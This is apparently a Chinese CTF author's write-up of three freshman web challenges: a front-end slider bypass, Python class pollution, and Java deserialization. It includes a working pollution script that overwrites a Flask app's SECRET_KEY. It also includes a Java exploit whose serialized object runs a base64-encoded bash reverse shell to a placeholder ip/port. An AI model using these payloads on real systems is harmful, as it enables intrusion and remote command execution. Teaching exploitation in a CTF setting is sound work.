set set what(WEB 签到)
解法1: 修改html前端拖动条范围上下界,直接拖
解法2: 看js里面最开始有个函数叫setSliderValue
控制台输入 setSliderValue(xxxxx)
解法3: 也有逆向手喜欢看js混淆后的代码,找到qq号十六进制后的数据地方
1
| _0x167719 == 0x993be543 && alert(_0x1d4b54);
|
改成!=并应用 随便刷新一下就出了
解法4: 把按钮类型type删掉,直接输入值
前端题全在本地,随便改改应该就出了,或者难道你真是fps高手?
解法5: 一眼顶针,发现有两个base64,解码是flag前面一段,再猜猜,又找到一端带==的,复制到一起直接出了。(或者js发给gpt4-o,会告诉你flag)
解法很多不一一说了,前端题都在本地,想办法改改就出了
我闻到了[巧物]的清香
世上的道路有很多条,而每个人都有属于自己的那一条
原型链污染,需要让SECRET_KEY == secret_value得到flag
但是SECRET_KEY
是try to find truth
而secret_value
不知道是什么
1 2 3
| os.makedirs('imagedir', exist_ok=True) with open(os.path.join('imagedir', 'secret'), 'w') as f: f.write(secret_value)
|
发现这里将secret_value写入imagedir
1 2 3 4 5 6 7 8
| @app.route('/read_secret', methods=['GET']) def read_secret(): try: with open(os.path.join(app.static_folder, 'secret'), 'r') as f: secret = f.read() except FileNotFoundError: secret = "You haven't found the correct path yet." return f"Secret: {secret}"
|
这里可以读出secretkey
所以逻辑很清晰了,先污染路径读取secret_value,再污染app.config[‘SECRET_KEY’]等于secret_value
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import requests url="http://127.0.0.1/"
data1 = { "__init__": { "__globals__": { "app": { "_static_folder": "imagedir" } } } } data2 = { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" :"AD049E0604C7CB01F2A7AFA1075B81B7" } } } } }
r=requests.post(url, json=data1) print(r.text) r=requests.get(url+"flag") print(r.text) r=requests.get(url+"read_secret") print(r.text)
r=requests.post(url, json=data2) print(r.text) r=requests.get(url+"flag") print(r.text) r=requests.get(url+"read_secret") print(r.text)
|
原型链污染就去本地调试,方便看是否污染成功,而且不会搞坏环境
瑞福莱克珅
题目描述讲解了需要学习的地方,有很多人来问,也发现了很多疑惑的地方,我就从原理思路去讲解
首先题目运行环境是无法更改的,你在本地代码里面加入的任何值不会影响服务器环境。
题目分析
1 2 3 4 5 6 7 8 9 10 11 12 13
| @RequestMapping({"/basic"}) public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); String BUPT = objectInputStream.readUTF(); String merak= objectInputStream.readUTF(); if (BUPT.equals("BUPT") && merak.equals("merak")) { objectInputStream.readObject(); } return "index"; }
|
这里我们发现需要传入hexString,并readUTF()两次,readObject()一次,前面两次UTF需要按顺序写入,writeUTF,后面检测两个UTF成功后,调用readObject方法,我们发现题目环境有一个Calc类
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class Calc implements Serializable { private boolean hasPermission = false; private String cmd = "calc";
public Calc() { } private void readObject(ObjectInputStream objectInputStream) throws Exception { objectInputStream.defaultReadObject(); if (this.hasPermission) { Runtime.getRuntime().exec(this.cmd); } } }
|
里面readObject里面有exec函数,可以执行恶意命令,当前面执行到objectInputStream.readObject();时,如果是calc类,就会调用他重写的readObject方法,所以我们需要控制cmd的值
传入的序列化字符串是我们自己定义的,也就是说可以控制传入的类的值
1 2
| private boolean hasPermission = false; private String cmd = "calc";
|
这里两个成员变量都是private,需要反射修改hasPermission为true,cmd为反弹shell命令
被问到的问题:
为什么不能直接Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
因为exec的字符串分割问题,这里参考博客吧
Java反弹shell小记(个人学习记录) - yunying - 博客园 (cnblogs.com)
为什么把各个类复制进去写的exp得到的hex无法命令执行
做java题时候一定要本地起个环境调试,通了再打远程,别怕麻烦
需要将jar包反编译,自己根据jar包内容新建一个项目,在不影响原本服务文件的情况下,新建一个新的类,去调用,去写exp,还要保证package什么的命名一致
至此,逻辑基本分析清楚了,Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.avasec;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
public class Exp { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { Calc C=new Calc(); Class clazz = C.getClass();
Field field1 = clazz.getDeclaredField("hasPermission"); field1.setAccessible(true); field1.set(C,true);
Field field2 = clazz.getDeclaredField("cmd"); field2.setAccessible(true); field2.set(C,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeUTF("BUPT"); oos.writeUTF("merak"); oos.writeObject(C); oos.close();
System.out.println(Utils.bytesTohexString(barr.toByteArray())); } }
|
后记
整体上个人评价我出的新生赛难度刚好,前端题是为了当大家一开始有解hhh,也体会过一场比赛如果前面一大半时间0解的话难免有挫败感然后不做了,有个题出也能让大家更好的状态去看其他题。
原型链污染倒是随手加的,两次污染,没有Waf,理解下代码,还是一个比较正常的题。(比较喜欢题目名字)
除了可以秒了Reflection这个题的师傅之外,相信这应该是其他师傅的第一道Java题目,遇到的反弹shell,本地调试,目录结构等问题,看完这个题后续java安全的一些基础部分应该不会卡太久,希望这道题目对一些问题可以做到基本的解惑,也祝各位师傅安全之路畅通无阻!